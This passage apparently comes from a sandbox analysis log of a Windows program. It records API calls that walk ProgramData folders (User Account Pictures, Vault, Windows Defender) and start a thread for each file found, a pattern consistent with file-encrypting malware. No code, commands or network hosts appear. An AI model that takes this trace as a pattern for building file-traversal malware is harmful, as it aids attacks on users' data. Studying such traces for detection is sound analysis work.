lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c45b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c [0072.816] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0072.816] wcscmp (_String1="guest.bmp", _String2=".") returned 1 [0072.816] wcscmp (_String1="guest.bmp", _String2="..") returned 1 [0072.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x33c7d40 [0072.816] wcscpy (in: _Dest=0x33c7d40, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.816] wcscat (in: _Dest=0x33c7d40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.816] wcscat (in: _Dest=0x33c7d40, _Source="guest.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" [0072.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c7d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0072.817] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.png", cAlternateFileName="")) returned 1 [0072.817] wcscmp (_String1="guest.png", _String2=".") returned 1 [0072.817] wcscmp (_String1="guest.png", _String2="..") returned 1 [0072.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x33e7090 [0072.817] wcscpy (in: _Dest=0x33e7090, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.817] wcscat (in: _Dest=0x33e7090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.817] wcscat (in: _Dest=0x33e7090, _Source="guest.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png" [0072.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e7090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0072.818] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-192.png", cAlternateFileName="")) returned 1 [0072.818] wcscmp (_String1="user-192.png", _String2=".") returned 1 [0072.818] wcscmp (_String1="user-192.png", _String2="..") returned 1 [0072.818] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x341e020 [0072.818] wcscpy (in: _Dest=0x341e020, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.818] wcscat (in: _Dest=0x341e020, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.818] wcscat (in: _Dest=0x341e020, _Source="user-192.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png" [0072.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341e020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0072.818] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-32.png", cAlternateFileName="")) returned 1 [0072.819] wcscmp (_String1="user-32.png", _String2=".") returned 1 [0072.819] wcscmp (_String1="user-32.png", _String2="..") returned 1 [0072.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x3424900 [0072.819] wcscpy (in: _Dest=0x3424900, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.819] wcscat (in: _Dest=0x3424900, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.819] wcscat (in: _Dest=0x3424900, _Source="user-32.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png" [0072.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3424900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0072.819] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-40.png", cAlternateFileName="")) returned 1 [0072.819] wcscmp (_String1="user-40.png", _String2=".") returned 1 [0072.819] wcscmp (_String1="user-40.png", _String2="..") returned 1 [0072.820] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x33caac0 [0072.820] wcscpy (in: _Dest=0x33caac0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.820] wcscat (in: _Dest=0x33caac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.820] wcscat (in: _Dest=0x33caac0, _Source="user-40.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-40.png" [0072.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33caac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0072.820] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-48.png", cAlternateFileName="")) returned 1 [0072.820] wcscmp (_String1="user-48.png", _String2=".") returned 1 [0072.820] wcscmp (_String1="user-48.png", _String2="..") returned 1 [0072.820] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347eac8 [0072.820] wcscpy (in: _Dest=0x347eac8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.820] wcscat (in: _Dest=0x347eac8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.820] wcscat (in: _Dest=0x347eac8, _Source="user-48.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-48.png" [0072.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347eac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0072.821] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0072.821] wcscmp (_String1="user.bmp", _String2=".") returned 1 [0072.822] wcscmp (_String1="user.bmp", _String2="..") returned 1 [0072.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cc9f0 [0072.822] wcscpy (in: _Dest=0x33cc9f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.822] wcscat (in: _Dest=0x33cc9f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.822] wcscat (in: _Dest=0x33cc9f0, _Source="user.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" [0072.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cc9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0072.822] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png", cAlternateFileName="")) returned 1 [0072.822] wcscmp (_String1="user.png", _String2=".") returned 1 [0072.822] wcscmp (_String1="user.png", _String2="..") returned 1 [0072.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cd770 [0072.822] wcscpy (in: _Dest=0x33cd770, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0072.822] wcscat (in: _Dest=0x33cd770, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0072.823] wcscat (in: _Dest=0x33cd770, _Source="user.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.png" [0072.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0072.823] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33f0698 | out: lpFindFileData=0x33f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png", cAlternateFileName="")) returned 0 [0072.823] FindClose (in: hFindFile=0x3433ba8 | out: hFindFile=0x3433ba8) returned 1 [0072.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0698) returned 1 [0072.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e420) returned 1 [0072.823] RtlExitUserThread (Status=0x0) Thread: id = 520 os_tid = 0x13e4 [0072.326] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430ee8 [0072.326] wcscpy (in: _Dest=0x3430ee8, _Source="C:\\Users\\All Users\\Microsoft\\Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0072.326] wcscat (in: _Dest=0x3430ee8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\" [0072.326] wcscat (in: _Dest=0x3430ee8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\*") returned="C:\\Users\\All Users\\Microsoft\\Vault\\*" [0072.326] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f0900 [0072.326] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x33f0900 | out: lpFindFileData=0x33f0900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433be8 [0072.326] wcscmp (_String1=".", _String2=".") returned 0 [0072.326] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x33f0900 | out: lpFindFileData=0x33f0900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.326] wcscmp (_String1="..", _String2=".") returned 1 [0072.326] wcscmp (_String1="..", _String2="..") returned 0 [0072.326] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x33f0900 | out: lpFindFileData=0x33f0900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 1 [0072.326] wcscmp (_String1="AC658CB4-9126-49BD-B877-31EEDAB3F204", _String2=".") returned 1 [0072.326] wcscmp (_String1="AC658CB4-9126-49BD-B877-31EEDAB3F204", _String2="..") returned 1 [0072.326] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347bc08 [0072.326] wcscpy (in: _Dest=0x347bc08, _Source="C:\\Users\\All Users\\Microsoft\\Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0072.327] wcscat (in: _Dest=0x347bc08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\" [0072.327] wcscat (in: _Dest=0x347bc08, _Source="AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0072.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347bc08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x794 [0072.813] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x33f0900 | out: lpFindFileData=0x33f0900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 0 [0072.813] FindClose (in: hFindFile=0x3433be8 | out: hFindFile=0x3433be8) returned 1 [0072.814] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0900) returned 1 [0072.814] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430ee8) returned 1 [0072.814] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c250) returned 1 [0072.814] RtlExitUserThread (Status=0x0) Thread: id = 521 os_tid = 0x13e8 [0072.327] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x3480f38 [0072.327] wcscpy (in: _Dest=0x3480f38, _Source="C:\\Users\\All Users\\Microsoft\\WDF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WDF") returned="C:\\Users\\All Users\\Microsoft\\WDF" [0072.327] wcscat (in: _Dest=0x3480f38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WDF\\") returned="C:\\Users\\All Users\\Microsoft\\WDF\\" [0072.327] wcscat (in: _Dest=0x3480f38, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WDF\\*") returned="C:\\Users\\All Users\\Microsoft\\WDF\\*" [0072.327] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f0b68 [0072.327] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WDF\\*", lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433c28 [0072.327] wcscmp (_String1=".", _String2=".") returned 0 [0072.327] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.328] wcscmp (_String1="..", _String2=".") returned 1 [0072.328] wcscmp (_String1="..", _String2="..") returned 0 [0072.328] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.328] FindClose (in: hFindFile=0x3433c28 | out: hFindFile=0x3433c28) returned 1 [0072.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0b68) returned 1 [0072.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480f38) returned 1 [0072.328] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c160) returned 1 [0072.328] RtlExitUserThread (Status=0x0) Thread: id = 522 os_tid = 0x13ec [0072.329] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x34271a0 [0072.329] wcscpy (in: _Dest=0x34271a0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.329] wcscat (in: _Dest=0x34271a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.329] wcscat (in: _Dest=0x34271a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*" [0072.330] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f0b68 [0072.330] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*", lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433c28 [0072.331] wcscmp (_String1=".", _String2=".") returned 0 [0072.331] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.331] wcscmp (_String1="..", _String2=".") returned 1 [0072.331] wcscmp (_String1="..", _String2="..") returned 0 [0072.331] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d5968, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clean Store", cAlternateFileName="CLEANS~1")) returned 1 [0072.331] wcscmp (_String1="Clean Store", _String2=".") returned 1 [0072.331] wcscmp (_String1="Clean Store", _String2="..") returned 1 [0072.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cccf0 [0072.331] wcscpy (in: _Dest=0x33cccf0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.331] wcscat (in: _Dest=0x33cccf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\" [0072.331] wcscat (in: _Dest=0x33cccf0, _Source="Clean Store" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store" [0072.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cccf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x790 [0072.803] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33f0b68 | out: lpFindFileData=0x33f0b68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1 [0072.803] wcscmp (_String1="Definition Updates", _String2=".") returned 1 [0072.803] wcscmp (_String1="Definition Updates", _String2="..") returned 1 [0072.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2de0 [0072.803] wcscpy (in: _Dest=0x33e2de0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0072.803] wcscat (in: _Dest=0x33e2de0, 